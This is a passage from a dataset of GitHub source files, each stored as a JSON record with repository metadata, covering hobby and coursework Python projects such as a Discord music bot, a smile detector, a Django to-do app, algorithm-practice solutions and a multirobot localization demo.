ctx.author.voice.channel\n video = Video(url)\n musics[ctx.guild] = []\n client = await channel.connect()\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Now playing',\n value=f\"**[{video.title}]({video.url})**\", inline=False)\n msg = await ctx.send(embed=embed)\n await play_song(client, musics[ctx.guild], video, [ctx, msg])\n\n\nasync def Playtop(ctx, args):\n client = ctx.guild.voice_client\n search = \"\"\n for mot in args:\n search += mot + \" \"\n if \"https://\" in search:\n url = search\n else:\n yt = youtube_search.YoutubeSearch(search, max_results=1).to_json()\n try:\n yt_id = str(json.loads(yt)['videos'][0]['id'])\n url = 'https://www.youtube.com/watch?v=' + yt_id\n except:\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Error', value=f\"No results\", inline=False)\n await ctx.send(embed=embed)\n if client and client.channel:\n video = Video(url)\n musics[ctx.guild].insert(0, video)\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(\n name='Queued', value=f\"**[{video.title}]({video.url})**\", inline=False)\n await ctx.send(embed=embed)\n else:\n channel = ctx.author.voice.channel\n video = Video(url)\n musics[ctx.guild] = []\n client = await channel.connect()\n embed = discord.Embed(color=0x00ffb7)\n embed.add_field(name='Now playing',\n value=f\"**[{video.title}]({video.url})**\", inline=False)\n msg = await ctx.send(embed=embed)\n await play_song(client, musics[ctx.guild], video, [ctx, msg])\n","repo_name":"MathieuBrillard/le_tavernier","sub_path":"old/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":15406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37486672847","text":"# 내가 짜본 코드\nn = 5\nm = 8\nk = 3\ndata = [2,4,5,4,6]\ndata.sort(reverse = True)\nanswer = 0\nwhile(m >= 0):\n if m == 0:\n break\n elif (m - k) < 1: # k번만큼 빼고 2번째 큰수까지 한번 뺄 경우를 else로 넣을 것이기 때문에\n for i in range(m): # k번 더하기\n answer += data[0] # data[0]은 가장 큰 수\n m -= 1 # 더할 때마다 더할 수 있는 횟수 차감\n else:\n for i in range(k): # k번 더하기\n if m != 0:\n answer += data[0] # data[0]은 가장 큰 수\n m -= 1 # 더할 때마다 더할 수 있는 횟수 차감\n\n answer += data[1] # 2번째로 큰 수 한번 더해주기\n m -= 1 # 더할 때마다 더할 수 있는 횟수 차감\n print(f\"현재 총합 : {answer}\")\nprint(f\"최종 정답 : {answer}\")","repo_name":"DrunkJin/CosMos","sub_path":"220606-220612/Bonus/seojin_bonus.py","file_name":"seojin_bonus.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"13536182534","text":"import cv2\r\nfrom random import randrange\r\n\r\n#Smile = cv2.imread('')\r\n\r\n# Pre trained Classifier data for Face and Smile\r\nFace_Detector = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\r\nSmile_Detector = cv2.CascadeClassifier('haarcascade_smile.xml')\r\n\r\n# To detect image from webcam\r\nvideo = cv2.VideoCapture(0)\r\n\r\nwhile True:\r\n # Read the current frame\r\n successful_frame_read, frame = video.read()\r\n\r\n # If there's in an error\r\n if not successful_frame_read:\r\n break\r\n #Convert to Grayscale\r\n grayscaled_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n # Detect faces first\r\n faces = Face_Detector.detectMultiScale(grayscaled_frame,1.3,5)\r\n\r\n\r\n # Draw rectangle around face\r\n for (x, y, w, h) in faces:\r\n # (0,0,0) change for color / ,4) change thickness\r\n cv2.rectangle(frame,(x,y),(x+w, y+h), (100,150,50),4)\r\n\r\n # get the sub frame (using numpy N-dimensional array slicing)\r\n the_face = frame[y:y+h,x:x+w]\r\n #the_face = (x, y, w, h)\r\n\r\n #Convert to Grayscale\r\n grayscaled_face = cv2.cvtColor(the_face, cv2.COLOR_BGR2GRAY)\r\n smiles = Smile_Detector.detectMultiScale(grayscaled_face,scaleFactor=1.5,minNeighbors=20)\r\n\r\n # Find all smiles in face\r\n for (x_, y_, w_, h_) in smiles:\r\n # Draw Rectangle around smile in faces\r\n cv2.rectangle(the_face,(x_,y_),(x_+w_, y_+h_), (50,200,150),4)\r\n\r\n #label the face as smiling\r\n if len(smiles) > 0:\r\n cv2.putText(frame,'Smiling',(x,y+h+40), fontScale= 3,\r\n fontFace= cv2.FONT_HERSHEY_PLAIN, color=(255,200,255))\r\n\r\n # Display the image spotted\r\n cv2.imshow('Smile Please', frame)\r\n # Don't Autoclose (wait for key to pressed to quit)\r\n key = cv2.waitKey(1)\r\n # To stop using letter 'Q(81/113 ASCII)'\r\n if key == 81 or key == 113:\r\n break\r\n\r\n# Cleanup\r\nvideo.release()\r\ncv2.destroyAllWindows()\r\nprint(\"ABM\")\r\n","repo_name":"abm98/Smile-Detector","sub_path":"Smile_detect.py","file_name":"Smile_detect.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6877663192","text":"import pandas as pd\nfrom pycaret.classification import predict_model, load_model\n\ndef load_data(filepath):\n \"\"\"\n Loads prepared_churn_data file from week 2 into a DataFrame from a string filepath.\n \"\"\"\n df = pd.read_csv(filepath, index_col='customerID')\n return df\n\n\ndef make_predictions(df):\n \"\"\"\n This uses pycaret best model to predict the data in the df dataframe.\n \"\"\"\n new_data = df.iloc[-2:-1].copy() \n model = load_model('LDA')\n predictions = predict_model(model, data=new_data)\n predictions.rename({'Label': 'churn_prediction'}, axis=1, inplace=True)\n predictions['churn_prediction'].replace({1: 'Churn', 0: 'No churn'},\n inplace=True)\n return predictions['churn_prediction']\n\n\nif __name__ == \"__main__\":\n df = load_data('new_churn_data.csv')\n new_data = df.iloc[-2:-1].copy()\n model = load_model('LDA')\n predictions = predict_model(model, data=new_data)\n print('predictions:')\n print(predictions)","repo_name":"robelasmare/msds_600_week5","sub_path":"prediction_churn_data.py","file_name":"prediction_churn_data.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73565274293","text":"from PyQt5.QtWidgets import QGraphicsView\nfrom PyQt5.QtGui import QGuiApplication, QTransform\nfrom PyQt5.QtCore import Qt, QPointF, QRectF, pyqtSignal, QRect\nfrom gfx.language_canvas import LanguageCanvas\nfrom gfx.object import Object\nfrom gfx.arrow import Arrow\nfrom bidict import bidict\nfrom gfx.text import Text\nfrom gfx.connectable import Connectable\n\nclass LanguageGfxView(QGraphicsView):\n tab_name_changed = pyqtSignal(str)\n \n def __init__(self, canvas:LanguageCanvas):\n super().__init__(canvas)\n self._scale = (1.0, 1.0)\n self.setDragMode(self.RubberBandDrag)\n self.setSceneRect(QRectF())\n #self.setAcceptDrops(True)\n self._wheelZoom = True\n self._zoomFactor = 1.25\n self._zoomLimit = 25\n self.setFocusPolicy(Qt.StrongFocus)\n self.setMouseTracking(True)\n self.init_scene_rect()\n self._name = None\n self._filename = None\n self.setSizePolicy(self.sizePolicy().Policy.Minimum, self.sizePolicy().Policy.Minimum)\n self.setAcceptDrops(True)\n \n def __setstate__(self, data:dict):\n self.__init__(data['canvas'])\n self.setSceneRect(data['scene rect'])\n self.scale(*data['scale'])\n self._wheelZoom = data['wheel zoom']\n self._zoomFactor = data['zoom factor']\n self._zoomLimit = data['zoom limit']\n self._name = data['name']\n \n def __getstate__(self):\n data = {}\n data['canvas'] = self.scene()\n data['scale'] = self._scale\n data['scene rect'] = self.sceneRect()\n data['wheel zoom'] = self._wheelZoom\n data['zoom factor'] = self._zoomFactor\n data['zoom limit'] = self._zoomLimit\n data['name'] = self._name\n return data\n \n @property\n def filename(self):\n return self._filename\n \n def set_filename(self, filename:str):\n self._filename = filename\n \n @property\n def tab_name(self):\n return self._name\n \n def set_tab_name(self, name:str):\n if self._name != name:\n self._name = name\n self.tab_name_changed.emit(name) \n \n def init_scene_rect(self):\n # BUGFIX: can't mess with this otherwise zoom won't work, also too big and the window can't be made smaller\n screen = self.screen()\n geometry = screen.geometry()\n w = geometry.height() / 4 \n h = geometry.width() / 4 \n self.setSceneRect(QRectF(-w/2, -h/2, w, h))\n \n def mousePressEvent(self, event):\n if event.button() == Qt.RightButton:\n #self.setDragMode(self.ScrollHandDrag)\n pass\n super().mousePressEvent(event)\n \n def mouseReleaseEvent(self, event):\n if event.button() == Qt.RightButton:\n self.setDragMode(self.RubberBandDrag)\n super().mouseReleaseEvent(event)\n \n def scale(self, sx, sy):\n s = self._scale\n super().scale(sx, sy)\n self._scale = (s[0]*sx, s[1]*sy) \n\n def zoom_100(self):\n self.setTransform(QTransform())\n #import geom_tools\n #transform = self.transform()\n #sx, sy = geom_tools.extract_transform_scale(transform)\n #self.setTransform(transform.scale(1.0/sx, 1.0/sy).scale(self._scale[0], self._scale[1])) \n ##IDK why this works...\n #self.scale(1.0/self._scale[0], 1.0/self._scale[1])\n\n def zoom_in(self, cursorPos:QPointF=None):\n self._zoom(self._zoomFactor, cursorPos)\n \n def zoom_out(self, cursorPos:QPointF=None):\n self._zoom(1/self._zoomFactor, cursorPos)\n \n def _zoom(self, factor:float, cursorPos:QPointF=None):\n if cursorPos is None:\n cursorPos = self.mapFromGlobal(self.cursor().pos())\n # Set Anchors\n self.setTransformationAnchor(self.NoAnchor)\n self.setResizeAnchor(self.NoAnchor) \n \n # Save the scene pos\n oldPos = self.mapToScene(cursorPos)\n \n self.scale(factor, factor)\n \n # Get the new position\n newPos = self.mapToScene(cursorPos)\n \n # Move scene to old position\n delta = newPos - oldPos\n self.translate(delta.x(), delta.y()) \n \n def wheelEvent(self, event):\n # Zoom\n if event.angleDelta().y() > 0:\n self.zoom_in(event.pos())\n else:\n self.zoom_out(event.pos())\n \n def fit_contents_in_view(self): \n self.setSceneRect(self.scene().itemsBoundingRect())\n \n def setParent(self, parent):\n super().setParent(parent)\n self.init_scene_rect()\n \n @property\n def language_canvases(self):\n return [self.scene()]\n \n def set_font(self, font, memo:dict=None):\n if memo is None:\n memo = {}\n \n if id(self) not in memo:\n memo[id(self)] = self\n \n for item in self.scene().items():\n if isinstance(item, Text):\n item.setFont(font) \n \n def dragEnterEvent(self, event):\n if event.mimeData().hasFormat('application/octet-stream'):\n event.accept()\n else:\n event.ignore()\n \n def dragMoveEvent(self, event):\n if event.mimeData().hasFormat('application/octet-stream'):\n event.accept()\n else:\n event.ignore() ","repo_name":"enjoysmath/abstract-spacecraft","sub_path":"gfx/language_gfx_view.py","file_name":"language_gfx_view.py","file_ext":"py","file_size_in_byte":5427,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"35920417831","text":"from django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User, Group, Permission\nfrom django.contrib.auth import login, logout, authenticate\nfrom django.http import HttpResponseRedirect, HttpResponseForbidden\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom .forms import RegisterForm, LoginForm, TaskForm\nfrom .models import Task\n\ndef home(request):\n pass\n return render(request, 'home.html')\n\ndef thanks(request):\n pass\n return render(request, 'thanks.html')\n\ndef user_register(request):\n if request.method == 'POST':\n form = RegisterForm(request.POST)\n context = {}\n if form.is_valid():\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n first_name = form.cleaned_data['first_name']\n last_name = form.cleaned_data['last_name']\n email_domain = username[username.find('@')+1:]\n user = User.objects.create_user(username=username, email=username, password=password, first_name=first_name, last_name=last_name)\n new_group, created = Group.objects.get_or_create(name=email_domain)\n if created:\n user.is_staff = True\n user.is_active = True\n else:\n user.is_staff = False\n user.is_active = False\n user.save() \n new_group.user_set.add(user)\n context['user'] = user\n context['message'] = 'Thank you for resgitering with us. Your account will be activated in 60 mins.'\n return render(request, 'thanks.html', context=context)\n else:\n form = RegisterForm()\n\n return render(request, 'register.html', {'form': form})\n\ndef user_login(request):\n if request.method == 'POST':\n form = LoginForm(request.POST)\n context = {}\n if form.is_valid():\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n user = authenticate(request, username=username, password=password)\n if user:\n login(request, user)\n else:\n user = User.objects.filter(username=username)\n if not user:\n context['user'] = user\n context['message'] = '''Please Register to use the cool features'''\n else:\n user = user[0]\n context['user'] = user\n context['message'] = 'Your account will be activated within 60 mins after the registration.'\n return render(request, 'thanks.html', context=context)\n return HttpResponseRedirect('/dashboard/')\n \n else:\n form = LoginForm()\n return render(request, 'login.html', {'form': form})\n\n\ndef user_logout(request):\n logout(request)\n return HttpResponseRedirect('/home/')\n\n@login_required\ndef user_dashboard(request):\n user = request.user\n context = {}\n if user.is_authenticated:\n context['user_obj'] = user\n if user.is_staff:\n user_group = user.groups.all()[0]\n #all_users = User.objects.all().filter(groups__name=user_group)\n all_users = user_group.user_set.all().exclude(username=user).filter(is_active=False)\n context['all_users'] = [user for user in all_users]\n\n return render(request, 'dashboard.html', context=context)\n else:\n return render(request, 'home.html')\n\n@login_required\ndef approve(request, user_id=None):\n user = request.user\n if user.is_authenticated:\n user_2b_approved = User.objects.filter(id=user_id)[0]\n user_2b_approved.is_active = True\n user_2b_approved.save()\n return HttpResponseRedirect('/dashboard/')\n\n\n@login_required\ndef add_task(request):\n user = request.user\n if request.method == 'POST':\n form = TaskForm(request.POST)\n if form.is_valid():\n task_data = form.cleaned_data\n new_task = Task.objects.create(name=task_data['name'], description=task_data['description'], assigned_to=task_data['assigned_to'],\n created_by=user)\n return HttpResponseRedirect('/thanks/')\n else:\n form = TaskForm()\n user_group = user.groups.all()[0]\n form.fields['assigned_to'].queryset = User.objects.filter(groups__name=user_group, is_active=True)\n return render(request, 'add_task.html', {'form': form})\n\n@login_required\ndef view_tasks(request):\n user = request.user\n context = {}\n if user.is_authenticated:\n context['user_obj'] = user\n all_tasks = Task.objects.filter(assigned_to=user, completed=False)\n context['all_tasks'] = all_tasks\n return render(request, 'view_tasks.html', context=context)\n\n@login_required\ndef task_completed(request):\n get_data = request.get_full_path_info() # /task_completed/?3=False\n task_ids = get_data.replace('/task_completed/?', '').split('&')\n for task in task_ids:\n task_id, task_status = task.split('=') \n task = Task.objects.get(pk=int(task_id))\n task.completed = True\n task.save()\n return HttpResponseRedirect('/view_tasks/')\n\n@login_required\ndef edit_task(request, task_id=None):\n user = request.user\n context = {}\n if task_id:\n task = Task.objects.get(pk=task_id)\n if user != task.created_by:\n return HttpResponseForbidden()\n else:\n task = Task()\n form = TaskForm(request.POST or None, instance=task) \n context['form'] = form\n if request.method == 'POST' and form.is_valid():\n f = form.save(commit=False)\n f.created_by = user\n f.save()\n return HttpResponseRedirect('/view_tasks/')\n\n return render(request, 'edit_task.html', context=context)","repo_name":"binson-b/Basic_apps","sub_path":"todo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70490559414","text":"import sys\nimport os\nimport time\nimport logging\nfrom pilot import PilotComputeService, ComputeDataService, State\nlogging.basicConfig(level=logging.WARNING)\n\nCOORDINATION_URL = \"redis://localhost:6379\"\n\nif __name__ == \"__main__\": \n \n pilot_compute_service = PilotComputeService(coordination_url=COORDINATION_URL)\n pilot_compute_description=[]\n\n # create pilot job service and initiate a pilot job\n pilot_compute_description.append({ \"service_url\": 'sge-ssh://pmantha@login1.ls4.tacc.utexas.edu',\n \"number_of_processes\":24, \n \"walltime\":10,\n\t\t\t\t \"processes_per_node\":12,\n \"queue\":\"normal\", \n \"allocation\":\"TG-MCB090174\",\n \"working_directory\": \"/home1/01539/pmantha/agent\",\n })\n \n pilot_compute_description.append({\n \"service_url\": 'fork://localhost',\n \"number_of_processes\": 1, \n \"working_directory\": os.path.join(os.getcwd(),\"work\"),\n })\n\n pilot_compute_description.append({ \"service_url\": 'sge+ssh://tg804093@login3.ranger.tacc.utexas.edu',\n \"number_of_processes\":16,\n \"walltime\":10,\n \"processes_per_node\":16,\n \"queue\":\"normal\",\n \"allocation\":\"TG-MCB090174\",\n \"working_directory\": \"/work/01131/tg804093\"\n })\n\n pilot_compute_description.append({ \"service_url\": 'pbs-ssh://pmantha@kraken-gsi.nics.teragrid.org',\n \"number_of_processes\":12,\n \"walltime\":10,\n \"processes_per_node\":1,\n \"queue\":\"small\",\n \"allocation\":\"TG-MCB090174\",\n \"working_directory\": \"/lustre/scratch/pmantha/agent/\",\n })\n #for pcd in pilot_compute_description:\n pilotjob = pilot_compute_service.create_pilot(pilot_compute_description=pilot_compute_description[2])\n \n compute_data_service = ComputeDataService()\n compute_data_service.add_pilot_compute_service(pilot_compute_service)\n \n # start work unit\n compute_unit_description = {\n \"executable\": \"/bin/date\",\n \"arguments\": [\"\"],\n \"total_core_count\": 1,\n \"number_of_processes\": 1, \n \"output\": \"stdout.txt\",\n \"error\": \"stderr.txt\"\n }\n \n for i in range(0,20):\n compute_unit = compute_data_service.submit_compute_unit(compute_unit_description)\n \n \n logging.debug(\"Finished setup. Waiting for scheduling of CU\")\n compute_data_service.wait()\n\n \n logging.debug(\"Terminate Pilot Compute and Compute Data Service\")\n compute_data_service.cancel() \n pilot_compute_service.cancel()\n","repo_name":"saga-project/BigJob","sub_path":"examples/pilot-api/example-ranger-kraken-lonestar.py","file_name":"example-ranger-kraken-lonestar.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"30637924950","text":"\"\"\"\nSolution for 264. Ugly Number II\nhttps://leetcode.com/problems/ugly-number-ii/\n\"\"\"\nimport heapq\n\nclass Solution:\n \"\"\"\n Runtime: 156 ms, faster than 77.31% of Python3 online submissions for Ugly Number II.\n Memory Usage: 13.9 MB, less than 20.00% of Python3 online submissions for Ugly Number II.\n \"\"\"\n def brute_force(self, n: int) -> int:\n \"\"\"\n Brute force solution that runs in O(n log(n))\n\n Args:\n n(int):\n\n Returns:\n int:\n\n \"\"\"\n def max_divide(x, y):\n \"\"\"\n Divide the x with y as long as possible\n\n Args:\n x(int):\n y(int):\n\n Returns:\n int:\n\n \"\"\"\n while x % y == 0:\n x /= y\n return x\n\n x = 2\n current = 1\n while True:\n xx = max_divide(x, 2)\n xx = max_divide(xx, 3)\n xx = max_divide(xx, 5)\n if xx == 1:\n current += 1\n if current == n:\n break\n x += 1\n return int(x)\n\n def heap(self, n: int) -> int:\n \"\"\"\n Solution using a heap that runs in O(n log(n))\n\n Args:\n n(int):\n\n Returns:\n int:\n\n \"\"\"\n if n <= 1:\n return 1\n heap = [1]\n seen = set([1])\n nth = []\n for _ in range(n):\n popped = heapq.heappop(heap)\n if popped * 2 not in seen:\n heapq.heappush(heap, popped * 2)\n if popped * 3 not in seen:\n heapq.heappush(heap, popped * 3)\n if popped * 5 not in seen:\n heapq.heappush(heap, popped * 5)\n seen.update([popped * 2, popped * 3, popped * 5])\n nth.append(popped)\n return nth[n - 1]\n\n def dp(self, n: int) -> int:\n \"\"\"\n DP solution that runs in O(n)\n\n Args:\n n(int):\n\n Returns:\n int:\n\n \"\"\"\n nth = [1]\n i, j, k = 0, 0, 0\n for _ in range(1, n):\n min_ug = min(2 * nth[i], 3 * nth[j], 5 * nth[k])\n if min_ug == 2 * nth[i]:\n i += 1\n if min_ug == 3 * nth[j]:\n j += 1\n if min_ug == 5 * nth[k]:\n k += 1\n nth.append(min_ug)\n return nth[-1]\n\n def nthUglyNumber(self, n: int) -> int:\n \"\"\"\n Write a program to find the n-th ugly number.\n\n Ugly numbers are positive numbers whose prime factors only include 2, 3, 5.\n\n Example:\n\n Input: n = 10\n Output: 12\n Explanation: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 is the sequence of the first 10 ugly numbers.\n Note:\n\n 1 is typically treated as an ugly number.\n n does not exceed 1690.\n\n Args:\n n(int):\n\n Returns:\n int:\n\n \"\"\"\n return self.dp(n)\n\n # 1 2 3 4 5 6 8\n\n # ugly = 2 * {2,3,5} -> ugly\n # ugly = 3 * {2,3,5} -> ugly\n # ugly = n * {2,3,5} -> ugly\n # * * * * * * * * * *\n # 1,2,3,4,5,6,8,9,10,12...\n # L1 = [2,4,6,8,10,12...]\n # L2 = [3,6,9,12...]\n # L3 = [5,10...]\n","repo_name":"KKosukeee/CodingQuestions","sub_path":"LeetCode/264_ugly_number_II.py","file_name":"264_ugly_number_II.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39481827103","text":"import rx, logging, asyncio\nimport rx.operators as ops\n\nclass Observer:\n def __init__(self,\n on_next=lambda i: None,\n on_error=lambda i: None,\n on_completed=lambda i: None):\n self.on_next = on_next\n self.on_error = on_error\n self.on_completed = on_completed\n\n\nclass Task:\n def __init__(self, fn, name='unnamed', interval = 1.0):\n self.name = name\n self.interval = interval\n self.fn = fn\n \n def run(self, scheduler, loop):\n if asyncio.iscoroutinefunction(self.fn):\n return (\n rx\n .interval(self.interval)\n .pipe(\n ops.do(Observer(\n on_next=lambda i: logging.debug(f'{self.name} is runnnig {i} time')\n )),\n ops.map(lambda i: rx.from_future(asyncio.create_task(self.fn()))),\n ops.merge_all(),\n )\n .subscribe(scheduler=scheduler)\n )\n else:\n return (\n rx\n .interval(self.interval)\n .pipe(\n ops.do(Observer(\n on_next=lambda i: logging.debug(f'{self.name} is runnnig {i} time')\n )),\n )\n .subscribe(\n self.fn,\n scheduler=scheduler\n )\n )","repo_name":"ryazantseff/rxpy-scheduler","sub_path":"rx_scheduler/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27723651408","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 10 15:37:32 2018\n\n@author: william\n\"\"\"\n\nimport os, sys\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../\"))\nfrom dataset_manager.existing_dataset import Dataset\nfrom simulation_process.sim_manager import SimulationManager\nfrom robots.robot_system import RobotSystem\nfrom simulation_process.state_recorder import StatesRecorder\nfrom data_analysis.data_analyzer import Analyzer\nfrom data_analysis.realtime_plot import animate_plot\nfrom pprint import pprint\n\n# load algorithms \nsys.path.append(os.path.join(os.path.dirname(__file__), \"localization_algos\"))\nfrom centralized_ekf2 import Centralized_EKF2\nfrom simple_ekf import Simple_EKF\nfrom ekf_ls_bda import EKF_LS_BDA\nfrom ekf_gs_bound import EKF_GS_BOUND\nfrom ekf_gs_ci2 import EKF_GS_CI2\n\n#need to verify these algo\n'''\nfrom ekf_ls_ci import EKF_LS_CI\nfrom ekf_ls_ci2 import EKF_LS_CI2\nfrom ekf_gs_ci import EKF_GS_CI\nfrom ekf_gs_sci2 import EKF_GS_SCI2\n\n'''\n\n\ndataset_path = '/home/william/UTIAS-dataset/MRCLAM_Dataset3/'\n\ndataset_labels = [1,2,3]\nduration = 200 # duration for the simulation in sec\ntesting_dataset = Dataset('testing')\nstart_time, starting_states, dataset_data, time_arr = testing_dataset.load_MRCLAMDatasets(dataset_path, dataset_labels, duration, synthetic = False)\n\nfreqs0 = [[10, 10, 10],[1, 1, 1],[0.5, 0.5, 0.5]]\nfreqs1 = [[10, 10, 10],[4, 4, 4],[0.5, 0.5, 0.5]]\n\n\n\nloc_algo = EKF_GS_CI2('algo')\nrobot = RobotSystem('robot gs ci', dataset_labels, loc_algo, distr_sys = True)\n\nsim = SimulationManager('sim')\nstate_recorder = StatesRecorder('gs ci schedule freqs0',dataset_labels)\nsim.sim_process_schedule(dataset_labels, testing_dataset, robot, state_recorder, freqs0, simple_plot = True)\n\n\n##############################################################################\ntesting_dataset.dataset_reset()\nrobot = RobotSystem('robot gs ci', dataset_labels, loc_algo, distr_sys = True)\n\nsim1 = SimulationManager('sim')\nstate_recorder1 = StatesRecorder('gs ci schedule freq1',dataset_labels)\nsim1.sim_process_schedule(dataset_labels, testing_dataset, robot, state_recorder1, freqs1, simple_plot = True)\n\n##############################################################################\ntesting_dataset.dataset_reset()\nrobot = RobotSystem('robot gs ci', dataset_labels, loc_algo, distr_sys = True)\n\nsim_n = SimulationManager('sim')\nstate_recorder_n = StatesRecorder('gs ci naive ',dataset_labels)\nsim_n.sim_process_naive(dataset_labels, testing_dataset, robot, state_recorder_n, simple_plot = True)\n\nprint(\"simulation completetd\")\n\n##############################################################################\n'''\ntesting_dataset.dataset_reset()\nbound_algo = EKF_GS_BOUND('algo')\nrobot_bound = RobotSystem('robot bound', dataset_labels, bound_algo, distr_sys = True)\n\nsim_b = SimulationManager('sim')\nstate_recorder_bound = StatesRecorder('gs ci bound',dataset_labels)\nsim_b.sim_process_schedule(dataset_labels, testing_dataset, robot_bound, state_recorder_bound, freqs)\n\n\n##############################################################################\ntesting_dataset.dataset_reset()\ncen_ekf_algo = Centralized_EKF2('algo')\nrobot_cen = RobotSystem('robot cen', dataset_labels, cen_ekf_algo, distr_sys = False)\n\nsim_c = SimulationManager('sim')\nstate_recorder_c= StatesRecorder('cen ekf',dataset_labels)\nsim_c.sim_process_naive(dataset_labels, testing_dataset, robot_cen, state_recorder_c)\n\n\n\n##############################################################################\ntesting_dataset.dataset_reset()\nbda_algo = EKF_LS_BDA('algo')\nrobot_bda = RobotSystem('robot bda', dataset_labels, bda_algo, distr_sys = False)\n\nsim_bda = SimulationManager('sim')\nstate_recorder_bda= StatesRecorder('bda',dataset_labels)\nsim_bda.sim_process_naive(dataset_labels, testing_dataset, robot_bda, state_recorder_bda)\n'''\n\n\nanalyzer = Analyzer('analyzer', dataset_labels)\nanalyzer.algos_comparison([state_recorder, state_recorder1, state_recorder_n], only_trace=['gs ci bound'])\nloc_err_per_run, trace_per_run, t_arr = analyzer.calculate_loc_err_and_trace_state_variance_per_run(state_recorder)\nrobot_loc_time_unit = analyzer.robot_location_at_unit_time_interval(state_recorder)\n\nprint(\"start animation\")\nanimate_plot(dataset_labels, state_recorder, analyzer)\n","repo_name":"tsangkai/multirobot_localization_utias","sub_path":"src/demos/sim_demo.py","file_name":"sim_demo.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"12584054423","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the squares function below.\ndef squares(a, b):\n t = 0\n x = 1\n xm = x*x\n \n while(xm <= b):\n if(xm >= a):\n t+=1\n x += 1\n xm = x*x\n return t\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n q = int(input())\n\n for q_itr in range(q):\n ab = input().split()\n\n a = int(ab[0])\n\n b = int(ab[1])\n\n result = squares(a, b)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"tomdom35/HackerRank","sub_path":"Sherlock and Squares/Sherlock and Squares.py","file_name":"Sherlock and Squares.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15782631789","text":"#1. 해시를 활용한 Union-Find 알고리즘을 이용해 문제를 풀 수 있습니다.\n#2. Python에서는 dicitonary 자료형을 해시처럼 사용할 수 있습니다.\ndef find(x):\n if x == parent[x]:\n return x\n else:\n p = find(parent[x])\n parent[x] = p\n return parent[x]\n\ndef union(x,y):\n x = find(x)\n y = find(y)\n\n if x != y:\n parent[y] = x\n number[x] += number[y]\n\ntest_case = int(input())\n\nfor _ in range(test_case):\n parent = dict()\n number = dict()\n\n f = int(input())\n\n for _ in range(f):\n x, y = input().split(' ')\n\n if x not in parent:\n parent[x] = x\n number[x] = 1\n\n if y not in parent:\n parent[y] = y\n number[y] = 1\n\n union(x,y)\n\n print(number[find(x)])\n\n","repo_name":"sojung-lee/baekjoon_py","sub_path":"올인원 수업/4195. 친구네트워크/4195. 친구 네트워크.py","file_name":"4195. 친구 네트워크.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9386898386","text":"import unittest\nfrom random import randint\nfrom timeit import Timer\n\nfrom sql_tree_implementations import ClosureTree\n\n\nclass ClosureTest(unittest.TestCase):\n\n def setUp(self):\n \"\"\"\n Create this structure:\n tree 1:\n A\n / | \\\n B C F\n / \\ |\n D E G\n\n tree 2:\n X\n \"\"\"\n\n self.c_tree = ClosureTree()\n self.c_tree.add_node('A')\n self.c_tree.add_node('B', 'A', True)\n self.c_tree.add_node('C', 'A', True)\n self.c_tree.add_node('D', 'B', True)\n self.c_tree.add_node('E', 'B', True)\n self.c_tree.add_node('F', 'A', True)\n self.c_tree.add_node('G', 'F', True)\n self.c_tree.add_node('X')\n self.c_tree.add_node('Y', 'X', True)\n self.c_tree.add_node('Z', 'Y', True)\n self.c_tree.add_node('W', 'X', True)\n\n def test_print(self):\n \"\"\"\n Just prints stuff.\n \"\"\"\n\n self.c_tree.print_tables()\n\n self.c_tree.delete_node(self.c_tree.get_first_id('W'))\n print('Tree after deleting \"W\"')\n self.c_tree.view_tree()\n\n print('=========================')\n print('Move B under C.')\n self.c_tree.move_node(self.c_tree.get_first_id('B'), self.c_tree.get_first_id('C'))\n self.c_tree.view_tree()\n\n print('Path for D:')\n self.c_tree.print_path(self.c_tree.get_first_id('Y'))\n\n def _generate_tree(self, tree, node_id=None, max_depth=5, depth=0, branch_size=5):\n\n \"\"\"\n Create a random tree recursively.\n :param tree: the tree in which the nodes will be added.\n :param node_id: the root node under which all the nodes will be added\n :param max_depth: the maximum absolute depth that will be reached\n :param depth: the current depth\n :param branch_size: the maximum number of children that can be generated for any node\n 